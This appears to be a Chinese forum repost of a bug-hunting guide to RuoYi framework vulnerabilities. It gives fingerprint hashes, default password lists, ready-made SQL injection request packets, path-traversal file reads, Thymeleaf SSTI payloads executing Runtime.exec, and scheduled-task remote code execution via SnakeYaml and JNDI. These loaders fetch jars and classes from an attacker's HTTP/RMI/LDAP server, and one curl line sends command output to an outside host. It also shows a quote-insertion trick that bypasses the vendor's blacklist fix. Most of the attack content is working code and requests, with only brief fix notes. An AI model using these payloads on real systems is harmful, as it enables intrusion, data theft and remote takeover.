Anonymous 发表于 2025-7-22 11:30:44

若依系统前台+后台漏洞总结:RuoYi框架九大高危漏洞攻防指南|挖洞技巧

0x01 前言

RuoYi历史漏洞包括Shiro反序列化漏洞、SSTI漏洞、SQL注入、默认口令、任意文件下载、定时任务远程RCE等。其中,Shiro反序列化漏洞适用于RuoYi V-4.6.2之前的版本,SSTI漏洞适用于V-4.7.1版本,SQL注入适用于<V-4.6.2版本。任意文件下载漏洞适用于所有版本V-4.7.8之前,定时任务远程RCE适用于<V-4.7.2版本。文章还介绍了漏洞的复现过程、修复方法以及一些绕过策略。总结了RuoYi存在的各种漏洞,提醒用户及时修复以确保系统的安全性。



现在只对常读和星标的公众号才展示大图推送,建议大家把渗透安全HackTwo“设为星标”,否则可能就看不到了啦!
参考文章https://www.cnblogs.com/wavewindsor/p/17880329.html]https://www.freebuf.com/articles/web/411980.htmlhttps://www.cnblogs.com/wavewindsor/p/17880329.html
末尾可领取挖洞资料文件 #渗透安全HackTwo

0x02 漏洞详情

若依前台漏洞

若依特征
绿若依:icon_hash=”706913071”



绿若依常见登录页面


蓝若依:icon_hash=” -1231872293”





蓝若依常见登录界面


部分漏洞可借助若依综合漏洞利用工具一键扫描(工具在内部星球获取)



若依框架通常使用的组件有springboot、webpack、shiro、druid、swagger、redis、zookeeper、mysql等

未授权访问

常见为绿若依,绿若依一般都会常用webpack组件,F12查看js文件,找到一个名为appxxxxxx.js的文件,搜索baseurl,找到api路径


常见的api路径有:/api、/dev-api、/prod-api等

也有一些api路径指向的是另一个网址


访问后为如下界面


对其进行目录扫描能发现许多信息

常见的未授权有druid、springboot、swagger

在api后面拼接对应路径
druid未授权
druid:http://ip/baseurl/druid/login.html


如果有未授权可以直接访问,需要账号密码的可以配合若依系统弱口令进行登录

常见弱口令有:
admin/admin
admin/admin123
admin/123456
ry/123456
ruoyi/123456


登录后重点查看Session监控和URI监控两处
Session监控里存在历史登录的Session,可以尝试替换Session值进行登录


URI监控处存在大量接口路径,可以进一步访问获取敏感信息


swagger未授权
swagger:http://ip/baseurl/swagger-ui/


可以通过接口文档进行下一步操作,如果发现大量接口可以使用工具进行自动化测试,如swagger-hack


springboot未授权
springboot:http://ip/baseurl/actuator


重点关注/actuator/heapdump路径

访问下载后使用工具对其进行分析可获得大量敏感信息




redis未授权
若依系统通常会用到mysql和redis数据库,可以尝试redis未授权访问,或者对数据库进行弱口令爆破

弱口令+默认密码
常见登录界面路径为:/login

如果页面访问显示不正常,可添加默认访问路径尝试是否显示正常

/login?redirect=%2Findex
/baseurl/login?redirect=%2Findex

有些若依系统的账号密码会直接显示在前台登录框中,可以直接利用进行登录


常见的弱口令有:
admin/admin
admin/admin123
admin/123456
ry/123456ry/admin123
ruoyo/admin123
ruoyi/123456

注册接口
在弱口令等方法都试过之后还无法登录,可以尝试访问注册接口看看系统是否允许注册

访问:/register

不允许注册


允许注册



注册成功后就可以使用注册账号登录进一步测试

shiro反序列化
若依登录界面通常都采用了rememberMe字段,如果存在默认的key值,则可以进一步利用,实现shiro反序列化



未授权文件上传
常见于绿若依系统,F12查找js中的app.js,搜索uploadurl


访问对应路径/baseurl/common/upload

有鉴权


未授权


构造对应的文件上传请求包


访问返回的文件路径


有些网站做了限制,只允许白名单上传


这种情况可以打带有xss的html文件,造成存储xss

没限制的网站可以直接getshell

若依后台漏洞
若依后台存在多处sql注入漏洞漏洞简介
若依后台存在多个SQL注入点
漏洞复现
进入后台后,拦截角色管理页面的请求包



POC:

POST /system/role/list HTTP/1.1
Host: 127.0.0.1
Content-Length: 179sec-ch-ua: "Chromium";v="109", "Not_A Brand";v="99"Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttp
Requestsec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
sec-ch-ua-platform: "Windows"Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/system/role
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: o0At_2132_saltkey=JW6Gt2hb; o0At_2132_lastvisit=1691240426; o0At_2132_ulastactivity=2db4EUfD9WS50eLvnip%2B9TxK2ZhcO65vPL0dA6sPVF8AQSBMa6Qn; JSESSIONID=cfcf2d1f-f180-46cf-98bb-5eacc4206014Connection: closepageSize=&pageNum=&orderByColumn=&isAsc=&roleName=&roleKey=&status=¶ms=¶ms=¶ms=and extractvalue(1,concat(0x7e,(select database()),0x7e))



第二个sql注入点:角色编辑接口
POC:
POST /system/dept/edit HTTP/1.1
Host: 127.0.0.1
Content-Length: 111
sec-ch-ua: "Chromium";v="109", "Not_A Brand";v="99"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
sec-ch-ua-platform: "Windows"Origin: http://127.0.0.1
Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: empty
Referer: http://127.0.0.1/system/role
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: o0At_2132_saltkey=JW6Gt2hb; o0At_2132_lastvisit=1691240426; o0At_2132_ulastactivity=2db4EUfD9WS50eLvnip%2B9TxK2ZhcO65vPL0dA6sPVF8AQSBMa6Qn; JSESSIONID=cfcf2d1f-f180-46cf-98bb-5eacc4206014Connection: closeDeptName=1&DeptId=100&ParentId=12&Status=0&OrderNum=1&ancestors=0)or(extractvalue(1,concat((select user()))));#



第三个sql注入点POC:
POST /system/role/export HTTP/1.1
Host: 127.0.0.1
Content-Length: 75
sec-ch-ua: "Chromium";v="109", "Not_A Brand";v="99"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttp
Requestsec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
sec-ch-ua-platform: "Windows"Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: emptyReferer: http://127.0.0.1/system/role
Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9
Cookie: o0At_2132_saltkey=JW6Gt2hb; o0At_2132_lastvisit=1691240426; o0At_2132_ulastactivity=2db4EUfD9WS50eLvnip%2B9TxK2ZhcO65vPL0dA6sPVF8AQSBMa6Qn; JSESSIONID=cfcf2d1f-f180-46cf-98bb-5eacc4206014Connection: closeparams=and extractvalue(1,concat(0x7e,(select database()),0x7e))


RuoYi4.7.5版本后台sql注入
ruoyi-4.7.5 后台 com/ruoyi/generator/controller/GenController 下/tool/gen/createTable路由存在sql注入。
POC:
sql=CREATE table ss1 as SELECT/**/* FROM sys_job WHERE 1=1 union/**/SELECT/**/extractvalue(1,concat(0x7e,(select/**/version()),0x7e));



若依后台任意文件读取(CNVD-2021-01931)漏洞简介
若依管理系统是基于springboot的权限管理系统,登录后台后可以读取服务器上的任意文件。影响版本:RuoYi<4.5.1
漏洞复现
POC:
/common/download/resource?resource=/profile/../../../../etc/passwd/common/download/resource?resource=/profile/../../../../Windows/win.ini


读取了D盘下的1.txt文件
若依后台任意文件下载漏洞漏洞简介
若依管理系统后台存在任意文件下载漏洞。影响版本:若依管理系统4.7.6及以下版本
漏洞复现
漏洞利用前提:登录进后台。
首先提交一个定时任务。

POST /monitor/job/add HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:107.0) Gecko/20100101 Firefox/107.0Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-CA,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttp
RequestContent-Length: 188Connection: close
Cookie: o0At_2132_saltkey=JW6Gt2hb; o0At_2132_lastvisit=1691240426; o0At_2132_ulastactivity=2db4EUfD9WS50eLvnip%2B9TxK2ZhcO65vPL0dA6sPVF8AQSBMa6Qn; JSESSIONID=61e79ae9-8cdd-4e51-baac-d269ef551df3createBy=admin&jobName=renwu&jobGroup=DEFAULT&invokeTarget=ruoYiConfig.setProfile('c://windows/win.ini')&cronExpression=0%2F15+*+*+*+*+%3F&misfirePolicy=1&concurrent=1&status=0&remark=



通过浏览器直接get请求以下地址即可,下载任意文件。
http://127.0.0.1/common/download/resource?resource=c://windows/win.ini:.zip

SSTI(模板注入)漏洞 (仅适用V-4.7.1)分析在RuoYi的
ruoyi-admin\src\main\java\com\ruoyi\web\controller\monitor\CacheController.javaruoyi-admin\src\main\java\com\ruoyi\web\controller\demo\controller\DemoFormController.java
下存在可控的return字段,且由于RuoYi使用的是thymeleaf视图渲染组件,因此可进行SSTI模板注入。

其中可注入的接口包括
/localrefresh/task/getValue/getKeys/getNames
接口满足条件。

PostMapping注解控制,会在view中进行解析(或者GetMapping)。

return 值可控(或者url可控)

可以通过在http://localhost/monitor/cache视图下点击按钮抓包,也可直接构包(该接口需要有效cookie)



[*]
构建fragment参数payload,由于系统未对fragment参数做任何处理就进行返回,因此我们可以直接插入thymeleaf表达式,使用’${}注入执行表达式,T()访问java类和静态访问。因此构建payload:
[*]
${T(java.lang.Runtime).getRuntime().exec(“calc.exe”)}
[*]
由于thymeleaf高版本对T()进行了一些限制,不过可通过在T和(增加空格的办法进行绕过。
[*]
${T (java.lang.Runtime).getRuntime().exec(“calc.exe”)} 增加空格接口/monitor/cache/getName

[*]
构包,接口 /monitor/cache/getName (需要有效的身份Cookie)
[*]
注入cacheName不能为空


bady: **cacheName=123&fragment=${T (java.lang.Runtime).getRuntime().exec(“calc.exe”)}**
四个接口的攻击方式一致,payload一致
接口/monitor/cache/getKeys

接口/monitor/cache/getValue

接口/demo/form/localrefresh/task


修复:在RuoYi-4.7.2版本中,使用了thymeleaf版本3.0.14.RELEASE已无法再进行注入。
定时任务远程RCE(<V-4.7.2)
需要注意的是由于是从远程加载类,通常只加载一次后,就会缓存该类,之后不会再加载,因此若在测试过程中,命令没有执行成功,可重新创建定时任务,更换端口等操作多次尝试。
SnakeYaml 反序列化简介
[*]
通常只要引用了Snakeyaml包的几乎都可进行反序列化
[*]
可查看代码是否调用 new Yaml();


漏洞复现(V-4.2)
[*]
下载yaml反序列化payload工具

[*]
该工具是通过org.yaml.snakeyaml.Yaml类来加载远程的类,通过远程类重写AwesomeScriptEngineFactory类,以此来达到执行远程恶意命令的目的。

下载完工具后将
src/artsploit/AwesomeScriptEngineFactory.java
文件中的Runtime执行语句改为你要执行的命令



eg:
curl http://192.168.31.246:7000?CMDEcho=$(whoami)

[*]
地址为启动任意启动的http服务,或者dnslog都可(主要用于命令回显)
[*]
除此之外,我们需要使用$()命令替换,用于命令回显,因此我们改写一下命令执行函数。
[*]
改写方法如图


String[] cmd = {    "/bin/bash",    "-c",    "curl http://192.168.31.246:7000?echo=$(whoami)"};Runtime.getRuntime().exec(cmd);

[*]
在工具根目录 编写yaml-payload.yml文件
!!javax.script.ScriptEngineManager [    !!java.net.URLClassLoader [[      !!java.net.URL ["http://192.168.31.246:8000/yaml-payload.jar"]    ]]]

[*]
使用JAVA编译该文件,并且打包为jar,命令如下
$ javac src/artsploit/AwesomeScriptEngineFactory.java$ jar -cvf yaml-payload.jar -C src/ .

[*]
然后在该位置使用python开启http服务,用于远程加载该jar文件



[*]
添加定时任务加载jar包
[*]
目标字符串
org.yaml.snakeyaml.Yaml.load(‘!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [“http://192.168.31.246:8000/yaml-payload.jar"]]]]‘)

[*]
cron表达式0/10 **** ?



[*]
定时任务请求包
POST /monitor/job/edit HTTP/1.1
Host: 192.168.31.209
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttp
RequestContent-Length: 340Origin: http://192.168.31.209
Connection: closeReferer: http://192.168.31.209/monitor/job/edit/112
Cookie: JSESSIONID=8fb6fb64-75c1-47ca-a145-0b7dd67ec5a2jobId=112&updateBy=admin&jobName=RCE12&jobGroup=DEFAULT&invokeTarget=org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager+%5B!!java.net.URLClassLoader+%5B%5B!!java.net.URL+%5B%22http%3A%2F%2F192.168.31.246%3A8000%2Fyaml-payload.jar%22%5D%5D%5D%5D')&cronExpression=0%2F10+*+*+*+*+%3F&misfirePolicy=2&concurrent=1&status=1&remark=

[*]
创建任务后点击执行



[*]
回显结果如图


JNDI注入简介
[*]
通过JNDI远程加载恶意类
[*]
这次我们使用windows开发环境进行测试
[*]
其次JNDI注入只在低版本JAVA中适用(小于以下版本可用)

JDK6JDK7JDK8JDK11
RMI不可用6u1327u1228u113无
LDAP不可用6u2217u2018u11911.0.1

[*]
本次我们不再通过命令回显的方式进行测试,而是通过直接在windows中弹出计算器进行测试
漏洞复现(V-4.2)
先编译要执行的恶意类

javac Calc.java
public class Calc{    public Calc(){      try{            Runtime.getRuntime().exec("calc");            }catch (Exception e){                e.printStackTrace();            }      }      public static void main(String[] argv){            Calc c = new Calc();      }}
将Calc.class文件通过python服务暴露python -m http.server 6000



使用marshalsec工具启动一个RMI服务,链接类指向我们公开的端口下载marshalsec,需要自行编译,或者下载别人已经编译好的jar包
RMI注入java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://192.168.10.129:6000/#Calc“ 8888
添加一个定时任务通过lookup函数加载远程类

目标字符串:

org.springframework.jndi.JndiLocatorDelegate.lookup(‘rmi://192.168.10.129:8888/Calc’)
cron表达式:0/10 * * * * ?



点击执行任务,弹出计算器,测试成功。


LDAP注入
启动ldap服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer “http://192.168.10.129:6000/#Calc“ 8888

添加一个定时任务通过lookup函数加载远程类

目标字符串:

javax.naming.InitialContext.lookup(‘ldap://192.168.10.129:8888/#Calc’)
cron表达式:0/10 **** ?

点击执行,弹出计算器,测试成功


高版本绕过策略(V-4.6.2-V-4.7.1)
在V-4.6.2-V-4.7.1版本中RuoYi添加了对ldap和rmi以及http字符串的过滤
ruoyi-quartz\src\main\java\com\ruoyi\quartz\controller\SysJobController.java




但是可通过添加”‘“的方式来绕过。

例如http就可以改为ht’tp,rmi可以改为r’mi,ldap改为l’dap,以此来绕过字符串检测

没添加”‘“绕过



添加”‘“绕过,只需要在协议字符串中间添加一个“’”即可,那么所有目标调用字符串可更改为
rmi:org.springframework.jndi.JndiLocatorDelegate.lookup(‘r’mi://192.168.10.129:8888/Calc’)ldap:javax.naming.InitialContext.lookup(‘ld’ap://192.168.10.129:8888/#Calc’)SnakeYaml:org.yaml.snakeyaml.Yaml.load(‘!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [“ht’tp://192.168.31.246:8000/yaml-payload.jar”]]]]’)
测试通过,命令执行成功
修复(V-4.7.2)直接对定时任务调用的类进行黑马名单限制


0x03 总结
通过代码审计和漏洞复现,发现部分漏洞(如Shiro反序列化、SQL注入)在V-4.6.2及以上版本通过参数过滤或随机密钥得以修复,但SSTI、定时任务RCE等漏洞在特定版本(如V-4.7.1)仍可通过巧妙的绕过手法利用。喜欢这类文章或挖掘SRC技巧文章师傅可以点赞转发支持一下谢谢!后续会更新更多!
页: [1]
查看完整版本: 若依系统前台+后台漏洞总结:RuoYi框架九大高危漏洞攻防指南|挖洞技巧